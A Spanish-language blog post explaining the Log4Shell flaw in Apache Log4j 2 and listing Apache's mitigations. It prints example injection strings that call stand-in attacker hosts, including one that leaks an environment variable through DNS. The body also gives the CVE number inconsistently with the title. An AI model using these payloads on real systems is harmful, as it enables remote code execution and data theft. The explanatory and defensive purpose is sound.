Log4Shell: Apache Log4j 2 CVE-2021-44228

Si no has estado viviendo debajo de una piedra las últimas horas, sabrás que el viernes pasado comenzó a hacerse viral una vulnerabilidad crítica del paquete Log4j 2, una librería de log de Java utilizada masivamente.

Esta vulnerabilidad, bautizada como Log4Shell y descubierta por Chen Zhaojun (ingeniero de software de Alibaba), ha sido asignada el CVE CVE-2021-4428, con un CVSS de 10.0.

Aunque a estas alturas hay toneladas de información pública al respecto, vamos a dar algunas pinceladas sobre ella.

Los actores

Log4j 2: el plugin Lookup

Como hemos comentado, Log4j 2 es una librería de log para aplicaciones Java utilizada por los desarrolladores para loguear información de la aplicación. Utilizarla es tan sencillo como incluir algo como log.debug(“Mensaje de prueba”); en el código, lo que generará que se registre una entrada en el log. A menudo, la información que se registra está relacionada con la propia aplicación y su contexto de ejecución.

Una de las capacidades de la librería, denominada Lookups, es la posibilidad de utilizar variables al escribir en el log, que serán sustituidas por el valor correspondiente, con una sintaxis específica: ${variable}. Por ejemplo, si utilizamos ${java:runtime}, cuando la aplicación grabe en el log, registrará la version del Java runtime.

El problema es que estas sustituciones no solo se establecen a nivel del fichero de configuración de Log4j, lo que tiene sentido y es un aspecto bajo el control del desarrollador, sino que el propio Log4j realiza las sustituciones en tiempo real en la propia información que recibe, y sobre la que no tiene control.

Dicho de otra forma, si la aplicación está programada para registrar el username cuando detecta un intento de login fallido, introducir la cadena “${java:runtime}” en el campo “usuario” de la página de autenticación generará que Log4j 2 lo interprete y en el log de la aplicación aparezca la versión del Java runtime, no la cadena “${java:runtime}“, que parecería ser lo obvio.

JNDI

Por otro lado, tenemos JNDI, acrónimo de Java Naming and Directory Interface, que es “una capa de abstracción Java para servicios de directorio, del mismo modo que JDBC (Java Database Connectivity) es una capa de abstracción para bases de datos. JNDI se utiliza con mayor frecuencia con el protocolo ligero de acceso a directorio (LDAP)” [IBM].

Por ejemplo, mediante JNDI es posible acceder a un servidor LDAP para recuperar información de un objeto determinado. No necesitamos mucho más detalle aquí

Lookup + JNDI = problema

Cuando unimos ambas cosas es cuando viene el problema, porque una de las variables que esta funcionalidad Lookup interpreta es la conexión a un servidor LDAP mediante JNDI, utilizando la cadena ${jndi:ldap://website.com}.

De este modo, si en el campo “usuario” de la página de autenticación, en lugar de la cadena “${java:runtime}“, se introduce la cadena “${jndi:ldap://atacante.com/meh}“, la aplicación Log4J 2 parseará la cadena y establecerá una conexión LDAP con atacante.com para obtener el objeto “meh”.

El ataque específico es ligeramente más complejo, pero básicamente, el resultado final es que Log4j 2 acaba ejecutando una clase java controlada por los propietarios de atacante.com.

Debajo, un diagrama de GovCERT.ch que lo explica de manera muy clara, e incluye las medidas de mitigación aplicables:

Un ataque complementario que se está llevando a cabo para identificar servidores vulnerables, aprovechando la misma “funcionalidad”, es la conexión a un servidor DNS controlado por el atacante. En este caso es posible indicar también alguna variable de entorno en la URL aprovechando la utilización de variables anidadas. Aunque el impacto no es el mismo que el de RCE, sí puede potencialmente evitar algunas de las medidas de protección y proporcionar información al atacante

Por ejemplo, si el atacante controla el DNS “dnsatacante.com”, introduciendo la cadena “${jndi:ldap://usuario-${env:USERNAME}.dnsatacante.com/}“, el log del servidor DNS malicioso detectará un intento de resolución que contendrá el identificador del usuario.

Qué hacer

Uno de los principales problemas con esta vulnerabilidad es la masiva utilización que tiene Log4j 2, lo que hace que la primera acción a tomar sea identificar qué sistemas lo están utilizando.

Una vez identificados, las acciones mitigación, indicadas en el advisory de Apache, son:

  • Para versiones >=2.10, establecer la propiedad log4j2.formatMsgNoLookups o la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS a true.
  • Para versiones >=2.7 and <=2.14.1, modificar el diseño de cada patrón de registro para cambiar %m por %m{nolookups} en los archivos de configuración de registro.
  • Para versiones >=2.0-beta9 and <=2.10.0, la acción de mitigación es eliminar la clase JndiLookup del directorio: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Adicionalmente, mientras se identifican los sistemas vulnerables, será necesario monitorizar las conexiones externas, limitar el acceso a Internet en aquellos casos que no sea estrictamente necesario y analizar logs para la búsqueda de IOCs.

Más información puede obtenerse de la alerta del CCN-CERT: https://www.ccn-cert.cni.es/seguridad-al-dia/alertas-ccn-cert/11435-ccn-cert-al-09-21-vulnerabilidad-en-apache-log4j-2.html

Referencias

Ver también en: